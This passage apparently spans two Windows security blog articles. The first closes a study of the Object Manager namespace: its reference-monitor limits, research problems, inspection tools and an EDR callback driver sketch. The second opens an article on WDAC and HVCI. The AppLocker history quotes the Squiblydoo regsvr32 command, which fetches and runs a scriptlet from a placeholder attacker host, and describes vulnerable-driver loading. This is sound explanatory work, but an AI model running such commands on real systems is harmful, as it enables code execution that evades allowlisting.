The cross-VTL ALPC ports through which a VTL0 process talks to a VTL1 trustlet are still located in VTL0's `\RPC Control`. An attacker who controls VTL0 can *send* messages to LsaIso even though they cannot *read* LsaIso's internal state. Oliver Lyak's December 2022 *Pass-the-Challenge* result is the canonical worked example ([GitHub: ly4k/PassTheChallenge](https://github.com/ly4k/PassTheChallenge)): the trustlet's pages are never read, but the trustlet's RPC output exfiltrates the secret. The lesson is that VTL1 isolation is a *page-level* read barrier, not a *protocol-level* containment property. The VBS Trustlets piece in this corpus carries the deeper walkthrough.

Windows bet on one tree; Linux bet on eight clone-flag dimensions; Darwin bet on capability-style port-right tables. Each bet has theoretical limits. What are they?

8. What the namespace cannot do

The frame for this section comes from James P. Anderson's 1972 USAF technical report Computer Security Technology Planning Study (ESD-TR-73-51), Section 4.1.1. Anderson is the named originator of the reference-monitor concept and of the four properties such a monitor must satisfy. Wikipedia preserves the modern acronym verbatim: the reference-validation mechanism must be "Non-bypassable... Evaluable... Always invoked... Tamper-proof," and "according to Ross Anderson, the reference monitor concept was introduced by James Anderson in an influential 1972 paper" [@wikipedia-reference-monitor]. The NIST CSRC mirror hosts the original PDF [@csrc-nist-ande72].

Saltzer and Schroeder's 1975 paper The Protection of Information in Computer Systems [@cs-virginia-saltzer-schroeder] added the complete-mediation principle -- "every access to every object must be checked for authority" -- and seven other design principles the reference-validation mechanism must satisfy (economy of mechanism, fail-safe defaults, open design, separation of privilege, least privilege, least common mechanism, psychological acceptability).

Map the Windows Object Manager against the four NEAT properties and the answer is uncomfortable. The namespace partially achieves two (Always-invoked and Tamper-proof), fails Non-bypassable outright, and falls one to two orders of magnitude short of Evaluable.

8.1 Always-invoked: provably gapped

The namespace achieves always-invoked for name-based opens. Every Nt*OpenObject* syscall walks ObpLookupObjectName; there is no path that returns a handle to a named object without going through the lookup. But the namespace cannot achieve always-invoked for handle inheritance. A child process inherits handles from CreateProcess(bInheritHandles=TRUE) without going through the OM at all. The handles already exist in the parent's HANDLE_TABLE; the kernel walks the parent's table, duplicates the entries into the child's table, and the child has live access. No name-lookup, no ObRegisterCallbacks callback, no SRM check. As long as the OS API exposes handle inheritance -- and it is too deeply embedded in 33 years of shipping Windows code to remove -- the Object Manager cannot be the sole reference monitor.

8.2 Tamper-proof: bounded, not absolute

The Object Manager runs in ring 0, under Kernel-Mode Code Signing (KMCS), and -- on machines with Virtualization-Based Security and Hypervisor-protected Code Integrity (HVCI) enabled -- inside a Hyper-V-enforced code-integrity policy. Any kernel-mode adversary who can load a driver bypasses the OM. KMCS and HVCI raise the cost; they do not eliminate the surface. The Bring-Your-Own-Vulnerable-Driver class of attacks (signed but exploitable drivers) is the running residual class, and the historical pattern is that one or two new vulnerable signed drivers surface every quarter.

8.3 Evaluable: provably above threshold

A small enough TCB can be machine-verified. The seL4 microkernel is the canonical demonstration: roughly 9,000 lines of C verified end-to-end against a formal specification (~11 person-years for initial functional correctness per Klein et al. SOSP 2009, and approximately 25 person-years for the full suite of subsequent proofs including information-flow and binary verification) [@sel4-project]. The Object Manager subsystem, the Security Reference Monitor, and the parse procedures the Object Manager delegates to (file-system drivers via IopParseDevice; the registry via CmpParseKey; ALPC; the I/O manager itself) collectively comprise tens of thousands of lines of C, putting the TCB for "open a named object" at one to two orders of magnitude above the verification threshold any current proof system can handle. The Object Manager is not evaluable in the formal sense Anderson required.

8.4 Non-bypassable: the privilege short-circuit

A process holding SeDebugPrivilege (or any privilege that grants PROCESS_VM_* rights) can short-circuit per-directory ACLs. The privilege evaluation happens at SeAccessCheck time, after ObpLookupObjectName has resolved the name. The Object Manager will resolve any path the privileged caller asks for; the gate fires, but it lets the call through. The namespace cannot defend against the holder of SeDebugPrivilege. This is by design -- you want a debugger to be able to attach to anything -- but it is also the structural reason why "lock down the namespace" is not by itself a containment story.

8.5 What else the namespace cannot do

It cannot prevent in-process memory disclosure -- the Pass-the-Challenge limit covered in the Section 7 aside. It cannot defend against a malicious driver -- KMCS, HVCI, and WDAC gate driver load; the namespace itself trusts already-loaded drivers. It cannot eliminate time-of-check / time-of-use racing during a path walk; the walker walks components one at a time, and any reentrant call into the walker is a TOCTOU surface. The mitigation is per-call -- callers pass OBJ_DONT_REPARSE on object-attributes, FILE_FLAG_OPEN_REPARSE_POINT on file opens, or otherwise instruct the path-walker to refuse symbolic-link substitution -- not a structural property of the namespace.

8.6 The honest accounting

The Object Manager namespace is a coordination mechanism, not a containment mechanism. Containment is in the layers above: the session ID, the package SID, the integrity level, the silo ID, the VTL split. The namespace's job is to make those layers enforceable by partitioning the path space so the bad open cannot resolve to the privileged object's name. The layers above decide which partition the caller is in; the namespace's only job is "given a path and a caller, find the object." Anderson 1972 names the kernel mechanism (the reference-validation mechanism with NEAT properties); Saltzer-Schroeder 1975 names the design principles the mechanism must satisfy. The Object Manager is the Windows realisation; it inherits both the strengths and the limits.

The namespace is a coordination mechanism, not a containment mechanism. The containment is in the layers above.

Key idea: The Object Manager is the coordination layer; the containment is in the partition primitives stacked on top (session ID, package SID, integrity level, silo ID, VTL). The namespace's only job is "given a path and a caller, find the object." Every Windows security boundary is a parameter to that one job: a per-directory ACL, a token-keyed name rewrite, or a kernel callback registered against an OBJECT_TYPE.

The provable gaps are real. What is the active research direction in 2026 -- where do attackers and defenders actually meet inside the namespace today?

9. Open problems in 2026

Five open problems sit in active research as of 2026.

9.1 Hash-bucket collision pressure

The 37-bucket constant has not changed since 1993. On a 2026 Windows 11 25H2 machine with several hundred MSIX packages, each owning an \AppContainerNamedObjects\<package-sid>\ subtree, average chain lengths inside \Sessions\1\AppContainerNamedObjects exceed two and routinely run higher under load. The structural impact is small per-lookup (O(chain length) at each component), but it compounds across deep path walks and across the per-VM hot loops in ObpLookupObjectName. Microsoft has not committed to a larger table or a different structure; the constant remains.

9.2 Cross-AppContainer object-directory privacy

Per-AppContainer isolation is the AppContainer model's promise; residual cross-package reads erode it. Forshaw's Project Zero work between 2017 and 2020 documents specific classes; Windows 11 25H2 DACLs are tighter than Windows 10 RTM, but the impersonation-mediated cases survive. The HackSys / CVE-2023-35359 family covered in Section 4.5 is the current realisation of the cross-AppContainer-plus-impersonation surface, and the same broader resource-planting taxonomy Forshaw described in the 2017 Named Pipe Secure Prefixes post [@tiraniddo-named-pipe-secure-prefixes] is still rediscovered every year.

9.3 Silo-escape via routines that ignore silo attachment

Siloscape (June 7, 2021) showed that NtSetInformationSymbolicLink could retarget a silo-scoped symbolic link at a host-scoped path. Microsoft patched the specific function; the class -- kernel routines whose path resolution does not honour Process->Silo->RootDirectory -- remains open. Microsoft's long-standing position is that Server Silo is not a security boundary; Hyper-V Container is the security-boundary product. Container runtimes that depend on Server Silo for tenant isolation are knowingly running outside the supported boundary.

9.4 ObRegisterCallbacks erosion under HVCI

ObRegisterCallbacks requires a KMCS-signed driver, and on HVCI-enabled machines the binary must additionally be HVCI-compatible. Microsoft has progressively raised the compatibility bar -- preventing unsigned drivers, banning common runtime-patching idioms, and tightening the W^X policy. EDR vendors depend on the surface staying open; if HVCI's compatibility bar ever excludes the EDR kernel driver pattern, the in-kernel callback layer is at risk. The CrowdStrike Falcon Sensor outage of July 2024 made the brittleness of in-kernel EDR a public conversation. Microsoft's Defender for Endpoint and EDR-on-Linux eBPF projects point at alternative-mediation futures, but in-kernel ObRegisterCallbacks is still the primary credential-theft sensor.

Note: As attackers ship Hell's Gate / Halo's Gate / direct-syscall stubs to bypass userland EDR hooks, the kernel callback fires regardless. The arms race accordingly shifts to the access-mask-strip vs. impersonate-trusted-parent-PID layer inside the kernel callback itself, with both sides racing to define the right pre-operation policy for lsass.exe handle opens. Watch the Microsoft Security Response Center advisories and the EDR-vendor incident postmortems for the bleeding edge.

9.5 Public benchmark vacuum

No peer-reviewed benchmark compares per-call namespace-lookup cost across the Windows Object Manager, Linux namespaces, and Mach ports. Choice of namespace design at the OS level is a multi-decade commitment; the absence of an empirical comparison forces architecture decisions on theoretical-only grounds. The Linux Kernel Test Robot, the Phoronix Test Suite, and various academic systems-conference benchmarks measure adjacent properties (filesystem-call latency, system-call vector cost), but none publishes head-to-head numbers on the named-object-lookup hot path. This is an open invitation to systems researchers.

Five open problems is a research agenda, not a how-to. How do you actually look at this thing on your own machine?

10. Reading the namespace from a live system

Three tools cover the operational practice: Sysinternals WinObj, Forshaw's NtObjectManager PowerShell module, and WinDbg in kernel mode.

10.1 WinObj on a live system

Download winobj.exe from Sysinternals [@ms-winobj] and run it as administrator. The left pane is the directory tree; the right pane shows the children of the selected directory with their object types. Navigate to \Sessions\1\BaseNamedObjects and read off the named events and mutants every Win32 app in your interactive session has created. Navigate to \Sessions\1\AppContainerNamedObjects and pick an S-1-15-2-... directory; right-click, choose Properties, and read the security descriptor. You will see a single allow-ACE granting full access only to the package SID itself. That ACE is the entire AppContainer sandbox at the namespace layer.

Note: WinObj cannot traverse \ObjectTypes, \Security, or \Sessions\0\ without administrator rights. Without traversal, the enumerate fails silently and the tree looks empty. Always run elevated, and accept that the tool will show the kernel view, not a per-process view.

10.2 NtObjectManager PowerShell

NtObjectManager is Forshaw's PowerShell module that exposes the Object Manager namespace through cmdlets (PowerShell Gallery [@powershellgallery-ntobjectmanager]; GitHub [@p0-sandbox-attacksurface-analysis-tools]). Install with Install-Module NtObjectManager. Useful commands: Get-ChildItem NtObject:\ walks the root; Get-NtType lists the registered OBJECT_TYPE singletons; Get-NtObject \BaseNamedObjects enumerates the global BNO; Get-NtAlpcPort '\RPC Control' lists every LRPC endpoint on the machine. The module wraps the same NTDLL syscalls WinObj uses, but in a scripting surface that composes into automation.

10.3 WinDbg kernel session

In a kernel-mode WinDbg session attached to a target machine (or to a live local kernel via Microsoft's local-kernel debug mode), !object \ dumps the root directory and its children. dt nt!_OBJECT_HEADER <addr>-30 reads the header preceding any object's body (the offset 0x30 is the size of OBJECT_HEADER on x64; subtract that from the body pointer to land on the header -- the field layout is documented in Windows Internals 7th Edition* Chapter 8, Microsoft Press Store [@microsoftpressstore-wininternals7-part1]). `dx -r1 ((nt!_OBJECT_TYPE)nt!PsProcessType[0]).TypeInfo` walks the Process type's method table and lists all eight procedure pointers and the WaitObjectFlagOffset, including the parse procedure.

10.4 The EDR primitive: an ObRegisterCallbacks driver template

The minimal sketch of an in-kernel EDR sensor is four steps. Register an OB_CALLBACK_REGISTRATION for PsProcessType with OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE [@ms-obregistercallbacks]. In the pre-operation callback, examine OperationInformation->Object, derive the target process's PID, and compare it against lsass.exe. If it matches, strip credential-relevant access bits from OperationInformation->Parameters->CreateHandleInformation.DesiredAccess (or duplicate-handle equivalent). The kernel grants the handle with the reduced rights, the attacker's PROCESS_VM_READ is gone before the call returns, and the post-operation callback logs the attempt. The parallel API PsSetCreateProcessNotifyRoutineEx [@ms-pssetcreateprocessnotifyroutineex] covers process creation, which is the other half of the EDR sensor surface.

sequenceDiagram participant A as Attacker process participant NT as nt!NtOpenProcess participant OM as Object Manager participant EDR as EDR Pre-Op Callback participant LSASS as lsass.exe (target) A->>NT: NtOpenProcess(lsass PID, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION) NT->>OM: lookup PsProcessType, target by PID OM->>EDR: fire pre-op callback (handle create) EDR->>EDR: target == lsass.exe? EDR->>EDR: strip PROCESS_VM_READ from DesiredAccess EDR-->>OM: granted = PROCESS_QUERY_LIMITED_INFORMATION OM-->>NT: HANDLE with reduced access NT-->>A: open succeeded (but useless rights)

{` const PROCESS_VM_READ = 0x0010; const PROCESS_VM_WRITE = 0x0020; const PROCESS_VM_OPERATION = 0x0008; const PROCESS_QUERY_INFORMATION = 0x0400; const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000; const PROCESS_CREATE_THREAD = 0x0002; const PROCESS_DUP_HANDLE = 0x0040;

function stripForLsass(desired) { const STRIPPED = PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION; return desired & ~STRIPPED; }

const desired = PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE; console.log('attacker asked for:', '0x' + desired.toString(16)); const granted = stripForLsass(desired) | PROCESS_QUERY_LIMITED_INFORMATION; console.log('EDR pre-op granted:', '0x' + granted.toString(16)); `}

```c OB_OPERATION_REGISTRATION op = { .ObjectType = PsProcessType, .Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE, .PreOperation = MyPreOp, .PostOperation = MyPostOp, }; OB_CALLBACK_REGISTRATION reg = { .Version = OB_FLT_REGISTRATION_VERSION, .OperationRegistrationCount = 1, .Altitude = RTL_CONSTANT_STRING(L"123456"), .OperationRegistration = &op, }; ObRegisterCallbacks(®, &g_handle); ``` The driver must be KMCS-signed (`IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY`) per the wdm.h documentation; an unsigned image returns `STATUS_ACCESS_DENIED` from `ObRegisterCallbacks`. Two drivers cannot pick the same Altitude; collisions return `STATUS_FLT_INSTANCE_ALTITUDE_COLLISION`.

You can now read the namespace, register an EDR-style callback, and dump the type registry. What are the questions readers ask after they finish reading?

11. Frequently asked questions

No. The registry is a separate Windows Executive subsystem implemented in `nt!Cm*`, with its own hive on-disk format and its own in-memory hive structures. It hooks into the Object Manager namespace through one and only one mechanism: the `Key` `OBJECT_TYPE` registers a `ParseProcedure` (`CmpParseKey`) that takes over path walking when the namespace walker reaches `\REGISTRY`. The registry is therefore a *consumer* of the Object Manager, but not part of the Object Manager. Because `\BaseNamedObjects` is the *global* / `Global\`-prefixed-only view, distinct from the per-session BNO at `\Sessions\\BaseNamedObjects`. The Win32 `Local\` prefix routes through `kernel32!BaseGetNamedObjectDirectory` into the per-session BNO; `Global\` routes into the global one [@ms-termserv-kernel-object-namespaces]. Cross-session named-object coordination still needs the global view; per-session isolation lives in the per-session subtree. Because the lowbox token attached to the UWP app's process tells `ObpLookupObjectName` to rewrite the path to `\Sessions\\AppContainerNamedObjects\\Global\Foo` before path walking. Two different UWP apps have two different package SIDs and therefore land on two different directories. The Win32 names look the same; the kernel resolves them to different objects. `\??\C:` is the per-session DosDevices alias; if `C:` is not defined in the current session's `\??`, the walker falls through to `\GLOBAL??\C:`. `\GLOBAL??\C:` is the machine-wide DosDevices symbolic link to `\Device\HarddiskVolume*` -- the real on-disk volume object. The split matters because the per-session `\??` is where per-session drive-letter remappings (`net use X: \\server\share`, `subst Z: C:\foo`, `DefineDosDevice`) live, and the activation-context resolver class covered in Section 4.5 is the exploit family that lives at this boundary. Several top-level directories have `Directory`-`TRAVERSE` ACLs that restrict to SYSTEM and the local Administrators group. Without traversal, the directory enumeration silently fails. `\ObjectTypes`, `\Security`, and `\Sessions\0\` are the directories users most often notice as "missing" when running unelevated. By DACL plus loader-side validation. The directory grants `Directory`-`READ` to everyone but `Directory`-`WRITE` only to SYSTEM and TrustedInstaller. The `Section` objects inside are Authenticode-signed by Microsoft and validated at boot by `smss.exe`. The historical `DefineDosDevice` + `\??` symlink-plant bypass class survived until Windows 10 21H2 build 19044.1826 (July 2022), when an NTDLL patch closed it [@itm4n-the-end-of-ppldump]. `ObRegisterCallbacks` [@ms-obregistercallbacks] and `PsSetCreateProcessNotifyRoutineEx` [@ms-pssetcreateprocessnotifyroutineex] are both fully documented. The HVCI compatibility requirements, the KMCS attestation flow, and the exact policy interactions with Defender for Endpoint's tamper-protection layer are partly implementation-defined; EDR vendor engineering teams maintain private regression suites against successive Windows feature updates. When two or more processes that don't share a session or package must coordinate over a securable directory keyed by a SID-list they agree on at design time. The boundary descriptor is the *agreement primitive*: the kernel requires every SID in the boundary to be in the caller's token. The namespace's `OBJECT_DIRECTORY` lives in `\BNOLINKS`, keyed by the alias-prefix string plus a hash of the boundary descriptor's SID-list (CreatePrivateNamespaceW [@ms-createprivatenamespacew]; Object Namespaces overview [@ms-object-namespaces]; native NtCreatePrivateNamespace [@ntdoc-ntcreateprivatenamespace] and OBJECT_BOUNDARY_DESCRIPTOR [@ntdoc-object-boundary-descriptor] signatures). From inside an AppContainer process the lookup is rewritten into the per-package subtree, so private namespaces are not a substitute for the `windows.applicationModel.*` brokered APIs when cross-package coordination is the goal. A user-mode structure produced by `CreateBoundaryDescriptor` and populated with `AddSIDToBoundaryDescriptor` (plus the optional `CREATE_BOUNDARY_DESCRIPTOR_ADD_APPCONTAINER_SID` flag). Conceptually the descriptor is a SID-list that the caller and every other participant must share via their tokens. Kernel-side the structure is `OBJECT_BOUNDARY_DESCRIPTOR` (Version, Items, TotalSize, Flags). `NtCreatePrivateNamespace` materialises a directory in `\BNOLINKS` keyed by the `lpAliasPrefix` plus a hash of the boundary descriptor's SIDs.

12. Coming back to the WinObj screen

Open WinObj one more time. Navigate back to \Sessions\1\AppContainerNamedObjects and pick the Edge renderer's S-1-15-2-... directory. You can now name everything you are looking at. The directory is an _OBJECT_DIRECTORY instance with 37 hash buckets. You reach it through a token-keyed rewrite that the kernel applies inside ObpLookupObjectName before path walking begins. Its security descriptor grants GenericAll only to the package SID. Every EDR loaded on this machine has registered an ObRegisterCallbacks filter on PsProcessType, watching for handle creations against lsass.exe. If you are running on a Server SKU with Windows Server Containers, the directory might also be silo-scoped, with Process->Silo->RootDirectory indirecting your view of the rest of \.

The four pieces of the 1993 Cutler design have shipped without architectural change for thirty-three years. The six generations of partition primitives stacked on top are all simultaneously load-bearing on Windows 11 25H2. The namespace itself is a coordination mechanism, in Anderson 1972's sense of the reference-validation mechanism, with Saltzer-Schroeder 1975's complete-mediation principle as the design constraint it must satisfy. Containment lives in the partition layers above it: the session, the package, the integrity level, the silo, and the VTL split. Every other article in this corpus -- the Credential Guard piece, the AppContainer piece, the VBS Trustlets piece, the Hyper-V piece, the App Identity piece, the TPM piece -- quietly assumes this tree underneath them.

Key idea: Every Windows security boundary is a path rewrite, a per-directory ACL, a token-keyed name substitution, or a kernel callback against an OBJECT_TYPE. The Object Manager is the data structure underneath them all.

**Key terms.** Object Manager (`Ob`), `OBJECT_HEADER`, `OBJECT_TYPE`, `ParseProcedure`, `OBJECT_DIRECTORY`, Lowbox token, AppContainer, Server Silo, Trustlet / IUM, Boundary descriptor, Session 0 isolation, Mandatory Integrity Control, `ObRegisterCallbacks`, KMCS, HVCI, `\BaseNamedObjects`, `\Sessions\\AppContainerNamedObjects`, `\RPC Control`, `\KnownDlls`, `\BNOLINKS`, `\GLOBAL??`, `\??`.

Review questions.

Why does AppContainer isolation work even when the calling UWP app explicitly asks for Global\X?
What is the relationship between IopParseDevice, \Device\HarddiskVolume1, and IRP_MJ_CREATE?
Which of Anderson 1972's four NEAT properties does the Object Manager achieve cleanly, and which does it provably fail?
Why is ObRegisterCallbacks an enforcement gate only against handle creation and duplication, not against handle use?
Why does the canonical MS15-090 OM-symlink CVE point at CVE-2015-2428 [@nvd-cve-2015-2428] rather than CVE-2015-2528 or CVE-2015-1463?
What is the structural difference between \??\C: and \GLOBAL??\C:, and which one does the HackSys / CVE-2023-35359 worked example abuse?

Recommended reading. Russinovich, Ionescu, and Solomon, Windows Internals, Part 1 (7th edition, Microsoft Press, 2017), Chapter 8 [@microsoftpressstore-wininternals7-part1]. James Forshaw, Windows Security Internals (No Starch Press, 2024), Chapter 8 [@nostarch-windows-security-internals]. Alex Ionescu, Battle of SKM and IUM, Black Hat USA 2015 [@ionescu-bh2015-pdf]. The Google Project Zero blog's symlink mitigations [@p0-symlink-mitigations], arbitrary directory creation [@p0-issue1550], and who contains the containers [@p0-who-contains-containers] posts. James P. Anderson, Computer Security Technology Planning Study [@csrc-nist-ande72].

WDAC + HVCI: Code Integrity at Every Layer in Windows

noreply@paragmali.com (Parag Mali) — Mon, 11 May 2026 00:00:00 GMT

**Windows enforces "which code is allowed to run" through two coupled primitives.** WDAC is an XML-schema policy that the in-kernel `CI.dll` evaluates at every PE load. HVCI is the hypervisor-rooted check that runs `SkCi.dll` inside Virtual Trust Level 1, where the VTL0 kernel cannot reach it. Together they form the runtime enforcement loop on top of the App Identity primitives, and together they refuse the 8-microsecond signed-driver load that opens this article. This piece walks the policy schema, the audit-to-enforce migration discipline, the per-VTL SLAT state machine, the Vulnerable Driver Block List, and the residual attack surface (return-oriented programming, signed living-off-the-land binaries, hypervisor rollback) that the loop cannot close.

1. Signed Code Still Isn't Trusted Code

A red-team operator drops a signed, valid, never-revoked OEM driver onto a freshly-imaged Windows 11 24H2 box with the default WDAC policy enforced and HVCI on. The driver is dbutil_2_3.sys, a real Dell utility tracked as CVE-2021-21551 [@nvd-cve-2021-21551], with an authentic Microsoft-trusted certificate in its embedded signature. The sc.exe create call returns success. The StartService call spins for roughly eight microseconds. Then the driver fails to load with ERROR_DRIVER_BLOCKED, and the Microsoft-Windows-CodeIntegrity/Operational event log lights up with event 3033 [@ms-driver-blocklist].

The driver is not malware. It is a perfectly legitimate diagnostic utility that Dell shipped to hundreds of millions of laptops between 2009 and 2021 [@sentinelone-dbutil], signed by a certificate that chains to a root in the Microsoft Trusted Root Program. The certificate has not expired. It has not been revoked. The driver itself is intact -- not modified, not repacked, not even slightly truncated. And it cannot run.

A class of attack in which a privileged operator (or an exploited userland process that has reached LocalSystem) loads a driver that is *signed* and *trusted* by the operating system, but contains a vulnerability that lets the loader execute arbitrary code in ring 0. The driver is the vehicle; the vulnerability inside the driver is the payload. The Dell `dbutil_2_3.sys` driver and the MSI Afterburner `RTCore64.sys` driver are the canonical 2018-2024 examples (CVE-2019-16098 [@nvd-cve-2019-16098], CVE-2021-21551 [@nvd-cve-2021-21551]).

That eight-microsecond refusal is the entry point of this article. It raises four questions that the next ten sections answer in order. Which Windows component refused the load? What policy language did it consult? How did that policy reach the device? And, most uncomfortably, which classes of attack would still get to the kernel anyway?

This piece sits alongside an earlier post on App Identity [@paragmali-com-app-ide].The App Identity post covers what code identity is in Windows -- Authenticode, Kernel Mode Code Signing (KMCS), publisher chains, hash strategies. This article argues what Windows does with that identity at every page-fault. The two pieces compose: identity is the noun; enforcement is the verb. Where App Identity covers what Windows means by "this is the same bag of bytes the publisher signed," what follows is what the OS does with that fact at every PE load. The two reduce, together, to a single sentence that section five will earn: code integrity at every layer is not a slogan; it is a page-fault sequence that runs dozens of times during one driver load.

sequenceDiagram participant Op as Operator (sc.exe) participant SCM as Service Control Manager participant NT as NT Loader (NtLoadDriver) participant CI as CI.dll (VTL0) participant Sk as SkCi.dll (VTL1) participant SLAT as Hypervisor SLAT Op->>SCM: sc.exe create / start SCM->>NT: NtLoadDriver(\dbutil_2_3.sys) NT->>CI: Validate Authenticode + policy CI->>Sk: Secure call: revalidate + check Block List Sk->>Sk: Hash matches Block List entry Sk-->>SLAT: Refuse W->X promotion SLAT-->>NT: Page-fault on first execute NT-->>SCM: STATUS_DRIVER_BLOCKED SCM-->>Op: ERROR_DRIVER_BLOCKED + event 3033

But before we can explain how the load was refused, we have to explain why this kind of refusal is a twenty-five-year-old engineering problem. Two earlier Microsoft answers, Software Restriction Policies and AppLocker, were the wrong shape -- and the wrong shape in instructive ways.

2. Historical Origins: The 1990s Free-for-All and the Birth of "Path Is Not Identity"

In 2001, a Windows XP user double-clicked a .vbs attachment and the OS asked nobody before running it. Code Red, Nimda, and MS Blaster had not yet finished teaching Microsoft why that was a bad design, but the theoretical ground was already a decade and a half old. Fred Cohen had proved, in his 1984 paper Computer Viruses -- Theory and Experiments [@cohen-eecs588], that general malware detection is undecidable -- without detection, containment is, in general, impossible. The verbatim form of that result is reserved for §8 below, where the theoretical-limits argument turns on it. If detection was off the table as a general primitive, the only remaining engineering option was the opposite of detection: an explicit allowlist.

Authenticode existed since Internet Explorer 3 in 1996, but it was advisory -- a "Security Warning" dialog the user could click past. The first OS-level enforcement primitive arrived with Windows XP and Server 2003 in the form of Software Restriction Policies (SRP) [@learn-microsoft-com-2003-cc782792vws10]). SRP was the first time the kernel was asked to refuse a load on the strength of an administrator-set rule, not a user click.

The original Windows app-control primitive, introduced with Windows XP and Server 2003. SRP supports four rule classes (path, hash, certificate, zone) and a fixed-precedence walk inside the Safer API call `SaferIdentifyLevel` [@learn-microsoft-com-2003-cc786941vws10]). Deployment is Group Policy only; storage post-download is the registry. SRP was deprecated in Windows 10 build 1803 [@ms-srp-deprecated], with Microsoft's documentation explicitly redirecting to AppLocker or WDAC. Microsoft's PE-image signing scheme [@ms-authenticode-ref], introduced with Internet Explorer 3 in 1996. An Authenticode signature attaches a CMS PKCS#7 envelope to a PE binary, binding the file's digest to a publisher certificate that chains to a Microsoft-trusted root. The same signature surface is reused by Kernel Mode Code Signing [@ms-acfb-overview], Smart App Control, and the WDAC `Signers` element discussed later in this article.

SRP shipped four ways to identify a binary, but the architectural lesson it forced into the open was about the first of those four. Path rules looked elegant on paper -- "trust everything in C:\Program Files" -- and lethal in practice, because a path is not a property of a binary. A path is the coordinates of a place a bag of bytes happens to sit, and any attacker who can write to that place inherits the trust attached to it. World-writable directories under %TEMP%, %APPDATA%, and various inherited-permission folders under C:\Program Files itself meant that path rules were structurally a lie. Hash rules were correct but brittle; certificate rules were correct but coarse; zone rules were correct but circumventable through a download into a trusted zone.

Key idea: Path is not identity. A path is a place a bag of bytes happens to sit; an attacker who can write to that place inherits the trust. This sentence will recur three times in this article -- at SRP, at AppLocker, and at WDAC's path-rule writeability check -- because every generation of Windows app-control re-learned it at a new layer.

gantt title Windows app-control + HVCI lineage 2001-2025 dateFormat YYYY-MM section App-control rail SRP (Windows XP) :2001-10, 17M AppLocker (Windows 7) :2009-10, 72M Configurable CI (Windows 10 1507) :2015-07, 27M WDAC rename (1703/1709) + ISG/MI :2017-04, 24M Multi-policy WDAC (1903) :2019-05, 60M ACfB rebrand (2024) :2024-01, 24M section HVCI / VBS rail HVCI in Device Guard (1507) :2015-07, 13M HVCI rename (1607) :2016-08, 20M MBEC/GMET reporting (1803) :2018-04, 25M KDP (Windows 10 2004) :2020-05, 16M Driver Block List GA (Win 11 22H2):2022-09, 24M KB5042562 Downdate fix :2025-07, 5M

The first inflection point came when the mass-mailer worms of 2001-2004 made it operationally embarrassing for Microsoft to keep shipping an OS in which "double-click runs anything." Microsoft's Trustworthy Computing memo dates to January 2002 [@microsoft-com-trustworthy-computing] -- Bill Gates' company-wide email pivoting Windows engineering toward security as a first-class deliverable. SRP was its first concrete app-control answer.Microsoft's own Windows Server 2003 SRP technical reference [@learn-microsoft-com-2003-cc786941vws10]) describes the architecture: when a user double-clicks an executable, the enforcement API SaferIdentifyLevel is called to determine the rule details that apply. The same page enumerates the Safer API, the Group Policy Editor extension, the WinVerifyTrust integration with Authenticode, the Event Viewer logging, and Active Directory + Group Policy as the propagation substrate.

SRP showed the shape of the answer -- admin-set policy, OS-enforced, applied before launch -- but it failed on three properties the next generation would try to close. It failed on granularity because path was its primary identity. It failed on audience because it had no per-user or per-group scoping. And it failed on surface because script hosts (wscript.exe, cscript.exe) had to opt in to consult its rules. AppLocker arrived in Windows 7 to fix all three. And it discovered that even closing all three is not enough.

3. Early Approaches: AppLocker, Squiblydoo, and the Engineering of "Publisher Is Not Enough"

April 19, 2016. Casey Smith publishes a four-line command on his subt0x10 blog: regsvr32 /s /n /u /i:http[:]//attacker/x.sct scrobj.dll. The command bypasses an AppLocker-locked-down workstation with executable and script rules enforced [@casey-smith-wayback], and -- because every default Microsoft AppLocker policy allows binaries published by O=Microsoft Corporation -- the same trick works against the canonical default rules out of the box. It leaves no registry artefact, requires no admin rights, runs the attacker's code under the user's token, and -- this is the part that hurts -- cannot be patched. Because the binary it abuses is signed by Microsoft, it is on every default allowlist. The technique gets the nickname Squiblydoo, gets MITRE ATT&CK ID T1218.010 [@mitre-t1218-010], gets used in campaigns targeting governments [@mitre-t1218-010], and gets the technique catalogued in the LOLBAS project [@lolbas-regsvr32].

To understand why Smith's command was a class of failure rather than a specific bug, look at AppLocker's design. AppLocker shipped in Windows 7 and Server 2008 R2 (RTM July 2009; GA October 2009) [@wikipedia-windows-7] with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Per-user and per-group scoping was the explicit win over SRP, and enforcement moved out of the Safer API into a dedicated Application Identity service (appidsvc) plus the appid.sys filter driver [@wikipedia-applocker], so script hosts no longer needed to opt in to consult policy. AppLocker was, on paper, every fix SRP needed.

The Windows 7 / Server 2008 R2 successor to SRP, with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Enforcement is via the `appidsvc` service plus the `appid.sys` filter driver [@learn-microsoft-com-7-dd723678vws10]). Microsoft documents AppLocker today as "a defense-in-depth security feature and not considered a defensible Windows security feature" [@ms-applocker-overview] -- meaning the Microsoft Security Response Center will not service AppLocker bypasses as security vulnerabilities. A signed, trusted binary that ships with the operating system and exposes functionality an attacker can repurpose for malicious execution -- without dropping any new file to disk, without triggering signature-based detection, and (in the AppLocker era) without violating any publisher-rule allowlist. The MITRE ATT&CK technique T1218 ("System Binary Proxy Execution") [@mitre-t1218] catalogues the parent class. Microsoft's own bypass catalogue [@ms-bypass-catalogue] lists about forty Windows binaries that fall into this class.

The Squiblydoo bypass is mechanical once you see it. AppLocker's publisher rule for O=Microsoft Corporation says yes to regsvr32.exe. The argument-parsing code inside regsvr32.exe is policy-blind -- it does not consult AppLocker before deciding to follow the /i:URL flag. The remote scriptlet is fetched, parsed, and the JScript inside it is executed in-process. AppLocker has logged a successful launch of a Microsoft-signed binary and seen nothing worth blocking. The malicious code now runs with the launching user's token, with no on-disk artefact, with no registry footprint, with no need to escalate.

